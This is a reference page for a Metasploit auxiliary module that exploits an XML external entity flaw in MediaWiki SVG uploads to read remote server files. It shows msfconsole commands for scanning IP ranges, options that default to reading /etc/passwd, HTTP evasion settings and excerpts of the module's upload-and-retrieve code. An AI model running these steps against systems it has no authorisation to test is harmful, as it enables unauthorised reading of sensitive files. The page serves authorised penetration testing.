MediaWiki SVG XML Entity Expansion Remote File Access - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/mediawiki_svg_fileaccess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MediaWiki SVG XML Entity Expansion Remote File Access
Module: auxiliary/scanner/http/mediawiki_svg_fileaccess
Source code: modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
Disclosure date: -
Last modification time: 2019-03-05 03:38:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module attempts to read a remote file from the server using a vulnerability in the way MediaWiki handles SVG files. The vulnerability occurs while trying to expand external entities with the SYSTEM identifier. In order to work MediaWiki must be configured to accept upload of SVG files. If anonymous uploads are allowed the username and password aren't required, otherwise they are. This module has been tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10. Older versions were also tested but do not seem to be vulnerable to this vulnerability. The following MediaWiki requirements must be met: File upload must be enabled, $wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something other than 'false'.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/mediawiki_svg_fileaccess
msf auxiliary(mediawiki_svg_fileaccess) > show options
... show and set options ...
msf auxiliary(mediawiki_svg_fileaccess) > set RHOSTS ip-range
msf auxiliary(mediawiki_svg_fileaccess) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(mediawiki_svg_fileaccess) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(mediawiki_svg_fileaccess) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(mediawiki_svg_fileaccess) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the scanner/http/mediawiki_svg_fileaccess auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/mediawiki_svg_fileaccess
msf6 auxiliary(scanner/http/mediawiki_svg_fileaccess) > show info
Name: MediaWiki SVG XML Entity Expansion Remote File Access
Module: auxiliary/scanner/http/mediawiki_svg_fileaccess
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Daniel Franke
juan vazquez <[email protected]>
Christian Mehlmauer <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RFILE /etc/passwd yes Remote File
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /mediawiki yes Path to MediaWiki
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The user to authenticate as
VHOST no HTTP server virtual host
Description:
This module attempts to read a remote file from the server using a
vulnerability in the way MediaWiki handles SVG files. The
vulnerability occurs while trying to expand external entities with
the SYSTEM identifier. In order to work MediaWiki must be configured
to accept upload of SVG files. If anonymous uploads are allowed the
username and password aren't required, otherwise they are. This
module has been tested successfully on MediaWiki 1.19.4, 1.20.3 on
Ubuntu 10.04 and Ubuntu 12.10. Older versions were also tested but
do not seem to be vulnerable to this vulnerability. The following
MediaWiki requirements must be met: File upload must be enabled,
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set
to something other than 'false'.
References:
OSVDB (92490)
https://bugzilla.wikimedia.org/show_bug.cgi?id=46859
http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229
Module Options
This is a complete list of options available in the scanner/http/mediawiki_svg_fileaccess auxiliary module:
msf6 auxiliary(scanner/http/mediawiki_svg_fileaccess) > show options
Module options (auxiliary/scanner/http/mediawiki_svg_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RFILE /etc/passwd yes Remote File
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /mediawiki yes Path to MediaWiki
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The user to authenticate as
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/mediawiki_svg_fileaccess auxiliary module:
msf6 auxiliary(scanner/http/mediawiki_svg_fileaccess) > show advanced
Module advanced options (auxiliary/scanner/http/mediawiki_svg_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/mediawiki_svg_fileaccess module can do:
msf6 auxiliary(scanner/http/mediawiki_svg_fileaccess) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/mediawiki_svg_fileaccess auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/mediawiki_svg_fileaccess) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
error
Here is a relevant code snippet related to the "error" error message:
188: if res and res.code == 302 and res.headers['Location']
189: return res.headers['Location']
190: else
191: # try to output the errormessage
192: if res and res.body
193: error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]
194: if error and error.size == 1
195: vprint_error(error[0])
196: end
197: end
198: return nil
<PEER> MediaWiki - Failed to get unauthenticated session...
Here is a relevant code snippet related to the "<PEER> MediaWiki - Failed to get unauthenticated session..." error message:
215:
216: def accessfile(rhost)
217: vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
218: @wiki_session_name, @wiki_session = get_first_session
219: if @wiki_session.nil?
220: print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
221: return
222: end
223: vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
224:
225: if @user and not @user.empty? and @password and not @password.empty?
<PEER> MediaWiki - Failed to get login token
Here is a relevant code snippet related to the "<PEER> MediaWiki - Failed to get login token" error message:
224:
225: if @user and not @user.empty? and @password and not @password.empty?
226: vprint_status("#{peer} MediaWiki - Getting login token...")
227: @login_token = get_login_token
228: if @login_token.nil?
229: print_error("#{peer} MediaWiki - Failed to get login token")
230: return
231: end
232: vprint_status("#{peer} Logintoken: #{@login_token}")
233:
234: if not authenticate
<PEER> MediaWiki - Failed to authenticate
Here is a relevant code snippet related to the "<PEER> MediaWiki - Failed to authenticate" error message:
230: return
231: end
232: vprint_status("#{peer} Logintoken: #{@login_token}")
233:
234: if not authenticate
235: print_error("#{peer} MediaWiki - Failed to authenticate")
236: return
237: end
238: vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
239: vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
240: vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
<PEER> MediaWiki - Failed to get edit token
Here is a relevant code snippet related to the "<PEER> MediaWiki - Failed to get edit token" error message:
241: end
242:
243: vprint_status("#{peer} MediaWiki - Getting edit token...")
244: @edit_token = get_edit_token
245: if @edit_token.nil?
246: print_error("#{peer} MediaWiki - Failed to get edit token")
247: return
248: end
249: vprint_status("#{peer} Edittoken: #{@edit_token}")
250:
251: vprint_status("#{peer} MediaWiki - Uploading SVG file...")
<PEER> MediaWiki - Failed to upload SVG file
Here is a relevant code snippet related to the "<PEER> MediaWiki - Failed to upload SVG file" error message:
249: vprint_status("#{peer} Edittoken: #{@edit_token}")
250:
251: vprint_status("#{peer} MediaWiki - Uploading SVG file...")
252: @svg_uri = upload_file
253: if @svg_uri.nil?
254: print_error("#{peer} MediaWiki - Failed to upload SVG file")
255: return
256: end
257: vprint_status("#{peer} SVG URI: #{@svg_uri}")
258:
259: vprint_status("#{peer} MediaWiki - Retrieving remote file...")
<PEER> MediaWiki - Failed to retrieve remote file
Here is a relevant code snippet related to the "<PEER> MediaWiki - Failed to retrieve remote file" error message:
257: vprint_status("#{peer} SVG URI: #{@svg_uri}")
258:
259: vprint_status("#{peer} MediaWiki - Retrieving remote file...")
260: loot = read_data
261: if loot.nil? or loot.empty?
262: print_error("#{peer} MediaWiki - Failed to retrieve remote file")
263: return
264: end
265:
266: f = ::File.basename(datastore['RFILE'])
267: path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
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Related Pull Requests
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #3548 Merged Pull Request: Fix peer(rhost)->peer() usage in mediawiki_svg_fileaccess
- #3359 Merged Pull Request: Resolved some more Set-Cookie warnings
- #2525 Merged Pull Request: Change module boilerplate
- #2422 Merged Pull Request: remove peer and rport methods since they are already defined in Msf::Exploit::Remote::HttpClient
- #1745 Merged Pull Request: Fixes for Mediawiki
References
- CVE: Not available
- OSVDB (92490)
- https://bugzilla.wikimedia.org/show_bug.cgi?id=46859
- http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/scanner/misc/sunrpc_portmapper
- exploit/netware/sunrpc/pkernel_callit
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/multi/http/mediawiki_syntaxhighlight
- exploit/multi/http/mediawiki_thumb
- auxiliary/admin/http/contentkeeper_fileaccess
- auxiliary/admin/webmin/edit_html_fileaccess
- auxiliary/scanner/http/atlassian_crowd_fileaccess
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
- auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/misc/easycafe_server_fileaccess
- auxiliary/scanner/misc/zenworks_preboot_fileaccess
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/sielco_winlog_fileaccess
- exploit/multi/browser/firefox_svg_plugin
- exploit/multi/misc/batik_svg_java
- exploit/windows/browser/mozilla_nssvgvalue
- exploit/windows/browser/ms13_037_svg_dashstyle
Authors
- Daniel Franke
- juan vazquez
- Christian Mehlmauer
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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